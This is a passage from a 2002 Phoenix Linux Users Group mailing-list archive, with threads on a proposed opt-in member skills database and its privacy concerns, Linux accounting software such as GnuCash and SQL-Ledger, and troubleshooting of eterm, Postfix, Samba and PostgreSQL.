Labs director on many occassions has answered Docbook questions with near no delay. Even their sales drones have been rather response if to my email requests. Maybe I have just been lucky? -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 09:45:05 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B546@mail.int.fh.org> I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. -----Original Message----- From: Kimi A. Adams [mailto:kimi@unitywave.com] Sent: Friday, June 28, 2002 9:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Membership database Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 13:02:10 -0400 Subject: Membership database Message-ID: <20020628170209.WHCS3097.lakemtao02.cox.net@smtp.east.cox.net> Uh. I definately have a problem with sharing my information with ANYONE without my consent. I do not consider subscribing my email address to a list to be a consent to give that information to whomever YOU please. I believe in 100% privacy. The only reason I do not "hide" my email address from other list people is, whats the point? it gets listed when you send emails to PLUG anyways. As soon as you strip out my email address from the From field and replace it with just PLUG or something anonymous then I will see the point in making my name invisible to list members. Is it really THAT hard to make it an opt in link you sign up through on the PLUG website? > > From: Tom Achtenberg > Date: 2002/06/28 Fri PM 12:45:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: Membership database > > I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. > > -----Original Message----- > From: Kimi A. Adams [mailto:kimi@unitywave.com] > Sent: Friday, June 28, 2002 9:15 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Membership database > > > Beginning of Kimi's rant...... > > I am busy 12 hours a day. I have many tasks that pop up here and there and > many contacts. If I did not want to be part of this listing, for the exact > reasons you mentioned of being able to ask questions and get answers, then > I wouldn't be here. > > No one has stated at this point that you *have* to be part of a > database. My business is making money doing services and selling products > that are run by and used on Debian. My business is to know what I do and > where my company is going. However, I don't know everything and as much as > people wish to think this, I don't know that much outside of running by > business with Linux. > > PLUG and AZOTO have both talked about projects and most people do them so > that they can *market* their skills. How is creating a database of those > same people creating so much flak on this list? > > That's what I want to find. A database of skills that will help me help > all of you. If someone walks in my door with a need, I want to fulfill it, > even if I am not paid. That's the structure of our business and how come > we are still here even though many ISP's are out of business or failing. > > End of Kimi's rant....... > > > At 6/27/02, you wrote: > >I'm afraid I didn't sign up to this list to have my email put into a DB with > >a list of skills/references on me so that someone can go in there and just > >send me email whenever they have a problem. I thought that was what PLUG was > >for, to discuss the problem and get multiple points of view and figure out > >the best tool for the job. > > > >It's funny how a LOT of people complain about being on someone's SPAM list > >and when they get told "You can just delete it" they get VERY upset. "I > >didn't want to be on it in the FIRST place!" Your proposing to do that to > >everyone who hates SPAM. > > > >You talk about not wanting to have to go through all the emails PLUG > >generates to find the answers to your issues. *I* do not want to have to go > >thought all the PLUG emails AND everyones PERSONAL emails to me to find the > >answers I need. I get enough e-mail as it is, I do not need to wade through > >more. If someone sees I posted a response to answer a question and they wish > >to follow up with me privately, thats fine. But I don't want emails just > >coming out of the blue like crazy (NOT that I am saying you will. I am a > >newbie afterall, I'm just stating a view point :) The opposite applies. If > >someone whishes to give me an answer privately, that is also obviously ok. > > > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > >just as annoyng as MSN/hotmail signing you up for thier spam, not telling > >you, and then saying "Oh, well, its OPT-Out..." > > > >----- Original Message ----- > >From: "Kimi A. Adams" > >To: > >Sent: Thursday, June 27, 2002 5:42 PM > >Subject: Re: Membership database > > > > > > > The purpose of any website or database that is accessible from outside is > > > to get to information. Just like Google and other search engines, it's a > > > database that you would search for what you need from people who > > > register. Hans stated there is something being worked on for the > > > website. I have stated I have something available that can be tweaked to > > > preferences. > > > > > > However you send information about the database is fine by me. SPAM or > > > not, if you don't want to read it, delete it. We can promote it on the > > > website and on the lists, including the announce list. > > > > > > I won't go into whether processing time, display time, hard drive space, > > > etc. would be available or would take up too much of these resources. The > > > point is that I am wanting more to find the information that I am looking > > > for instead of having to email the listing and searching through the email > > > responses to get what I want or need at the time. > > > > > > I know there are sites out there where I can search for things that I may > > > need or want at any given time, but PLUG people are who I turn to. I want > > > to know that if I am looking for this one part or this one service or > > > someone who can wave this wand, that I can find it in my own time, rather > > > than having to drag myself through lot's of emails and calls that get me > > > off track from the "thing" I most want. > > > > > > Just kinda why I brought this up and how I would like to see things > > > improved upon. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/27/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >My thoughts on a member database. > > > > > > > >I think it is a great idea. As of right now, we have little information > > > >about who is subscribed to any of the mailing lists, other than their > >mail > > > >address. Some people might consider that a "good thing". > > > > > > > >Any membership information should be gathered voluntarily. We should not > > > >require anyone to add information to the database. We should warn them > >that > > > >we will collect at least the email address that they are using to > >subscribe > > > >to a list for the membership database. We do, after all, consider anyone > > > >subscribed to any of our mail lists as a PLUG member (makes our numbers > >look > > > >really great). > > > > > > > >I bet we could get Brian to capture a snapshot of the current > >subscribers' > > > >email addresses from Mailman. We could them mass-email all subscribers > > > >pointing them to a yet-to-be built web page with a form to fill out as > >much > > > >or as little information as they want in the database. I bet we could > >even > > > >set up a mechanism to send new subscribers to get sent there > >automatically. > > > >Probably should set up a way to delete data when someone unsubscribes. > >This > > > >is tougher because a person may be subscribed to all the lists but only > >be > > > >unsubscribing from one or two. > > > > > > > >As far a web space for members, how much space do we have available that > >we > > > >can use for members' pages? It is one thing to search the database and > > > >display data about one member, but it will take a lot more space if we > >set > > > >aside even 1M of space for every member. It will take some resources for > >the > > > >database web page that collects the data and for the database and for the > > > >scripts that need to be written. It will take more space to search and > > > >display routines based on criteria input (sounds like a job for our PhP > > > >gurus). > > > > > > > >All in all, I consider this a great project. It would be even greater if > >we > > > >release all the tools after it is done. I am almost surprised that > >another > > > >UG has not done something like this already. So what do we need in terms > >of > > > >hardware, software, and manpower? Who is gonna organize it? How many > >members > > > >would be interested in participating? > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > > >qR5NkSwamOTOgLRJ+rIAeJDg > > > >=XeNW > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 10:06:30 -0700 Subject: Accounting Packages Message-ID: <3D1C9796.90504@netscape.net> Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:23:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:23:13 -0700 Subject: Accounting Packages Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Look at Gnucash -----Original Message----- From: Don Calfa [mailto:tvat3000@netscape.net] Sent: Friday, June 28, 2002 10:07 AM To: PLUG-discuss@lists.plug.phoenix.az.us Subject: Accounting Packages Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:20:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Fri, 28 Jun 2002 10:20:53 -0700 Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> References: <3D1C9796.90504@netscape.net> Message-ID: <200206281020.53786.krycom1@cox.net> On Friday 28 June 2002 10:06 am, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. Have you taken a look at these? http://freshmeat.net/projects/cbooks/?topic_id=76 http://www.linuxcanada.com/quasar.html -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:21:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:21:00 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B547@mail.int.fh.org> So what you are saying here is someone does not have the right to exercise their own freedom to collect information from very public sources. No information contained in an email should be considered private. I am not advocating anyone harvesting the information this way, but a person in a free society does indeed have to right to do so if they choose to. Your permission to collect your information is implied when you send it to a public list. You are right in that the easiest most friendly way to do this database is to make it opt in. I was only stating that someone could gather the information and make a database that was not opt in if they wanted to. This is one reason at home I use an email address for lists like this that is used exclusively for lists and have other addresses for more private things. -----Original Message----- From: drghastly@cox.net [mailto:drghastly@cox.net] Sent: Friday, June 28, 2002 10:02 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: RE: Membership database This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 10:37:59 -0700 (PDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: Have you tried running them with WINE? On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 10:41:01 -0700 (PDT) Subject: eterm Message-ID: <20020628174101.66156.qmail@web10603.mail.yahoo.com> So Bryce - Can I take my mandrake CD, find the .rpm for eterm and install it on my RH 7.2? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 12:59:27 -0500 Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net>; from tvat3000@netscape.net on Fri, Jun 28, 2002 at 10:06:30AM -0700 References: <3D1C9796.90504@netscape.net> Message-ID: <20020628125927.A35264@megconsult.com> Two come to mind: GNUCash Sql Ledger and perhaps GNUEnterpise Personally, I am begining to take a look at Sql Ledger (www.sql-ledger.org), problem is I'm an ole MySQL guy and need to learn more 'bout PostgreSQL On Fri, Jun 28, 2002 at 10:06:30AM -0700, Don Calfa wrote: Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:12:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 28 Jun 2002 11:12:38 -0700 (MST) Subject: Membership database In-Reply-To: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Message-ID: I'm all for a database. Those who wish to be in it, can join. Those who do not, simply do nothing. \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 11:31:07 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <20020628183107.GD8953@ecloud.org> I don't see how it's possible to object to a page which is viewable only by members and which might be able to have members' home-page links on it if they choose to add them. Let's do it. I can help too if you need it. On Thu, Jun 27, 2002 at 09:33:05AM -0700, Kimi A. Adams wrote: > In answer.................... > > At 6/26/02, you wrote: > >Isn't there an announce list? If the membership of this list were > >exposed > >to its members (which I see right now it isn't - only the admin can see > >this) > >then you'd basically have an email list. Maybe this could be augmented > >with a database which maps the emails to some web links. Every member > >could modify this mapping to link the email to a "my involvement with > >PLUG" type page, and some software could be set up on the PLUG web > >server to optionally host those pages there instead of on members' own > >web servers, for those who don't have their own. Your password for your > >mailing list membership should be re-used to grant you access to edit > >your automatically-created default member page. Sounds like a job for > >Zope or something doesn't it? > And that's the reason for my two cents or so. That's what Unity Wave > does. We have programming that allows for quick duplication of a > "template" that is then easily updated by the user rather than the > webmaster. I have proposed this kind of programming before. Sometimes, > it's the grumbling that doesn't let a project begin or finish. > > >If you separate the membership database from the mailing list, then it > >is not self-maintaining, nobody will care very much about keeping it > >up to date and soon it will not be. Witness the shortness and age of > >this page: http://plug.phoenix.az.us/membersites.shtml for proof of > >that. See how many links you can still follow. I believe I sent in > >email to notify the web master that my link is way out of date, but > >never got a response. But if members can maintain their own links at > >the same time they manage their list subscriptions, then it will tend > >to stay up-to-date. Which means of course that this ought to be a > >Mailman feature, ideally. Every member of any list ought to be able > >to put a URL next to his name on the "member list" page. > > > Your suggestions are of the utmost importance to me. If I can move > forward with programming for something like this, then those suggestions > will be implemented if we can possibly implement. I only have history > with PLUG for a year and a half or so. I don't know what has been tried > before or what hasn't. > > We make life and changing life easy for the end user. Personally, I > don't want to have to go back and fix everything that a user can't. I > don't want to have to hard code any URL anywhere on my pages unless I > have to. > > If the decision were actually made to do so, we are poised and ready to > move forward. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:55:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 11:55:05 -0700 Subject: eterm In-Reply-To: <20020628174101.66156.qmail@web10603.mail.yahoo.com> References: <20020628174101.66156.qmail@web10603.mail.yahoo.com> Message-ID: <200206281155.05420.zen2now@qwest.net> you could try that, and it will probably work. but if it doesnt or you would rather get the RH rpm, try http://rpmfind.net. once there look for a good mirror, the primary site is usually saturated. slr On Friday 28 June 2002 10:41 am, Alpha Zenon Sanchez wrote: > So Bryce - > > Can I take my mandrake CD, find the .rpm for eterm and > install it on my RH 7.2? > > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:22:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 12:22:02 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206281222.02232.zen2now@qwest.net> > I guess Debian isn't a distro? > > http://www.debian.org/releases/unstable/sparc/install 2.1.1 Supported Architectures Sun SPARC | sparc | - sun4cdm | - sun4u there is no mention of sparc64, this was why i decided on SuSE > or 2.4 isnt a new kernel? > > http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ and yes it is a newer kernel, but once again there was no mention of sparc64. unlike SuSE, they had sparc64-iso's and that was why i chose SuSE. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:21:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:21:19 -0400 (EDT) Subject: POSTFIX "Host not found" In-Reply-To: <200206281225.g5SCP4220958@PlugList.MyButt.Net> Message-ID: Hi. Testing out postfix on RH 7.3 and can't get it to send mail. For any address, postfix accepts the mail from the client, but it is never delivered. /etc/postfix/maillog reports "Host not found" for each one, even though on the command line I can do lookups to these mx records and connect on port 25 to them. Can anyone help? Thanks! Scott ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:24:24 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7E8.6030505@netscape.net> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:27:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:27:31 -0700 Subject: Accounting Packages References: <3D1C9796.90504@netscape.net> Message-ID: <3D1CB8A3.7030005@netscape.net> Quasar and SQL-Ledger look like it. Thanks guys. Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:38:23 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: GNU Enterprise (http://www.gnuenterprise.org) is a start. We have recently started re-tooling Noguska's GPL'd NOLA web accounting and make it work with GNUe Framework, to give a more immediate solution. -Derek On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:29:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:29:08 -0400 (EDT) Subject: Samba Help In-Reply-To: <200206281743.g5SHhM223213@PlugList.MyButt.Net> Message-ID: From: Matt Alexander >> Btw my samba problem seems to have fixed itself. >This may have been because it can take quite a while for SMB >requests to fully propogate throughout the network. Up to 30-45 minutes, according to which documentation you read. But I've seen it even take longer on our network! Scott From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 14:40:44 -0500 Subject: postgreSQL permission problems Message-ID: <20020628144044.A45907@megconsult.com> I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try 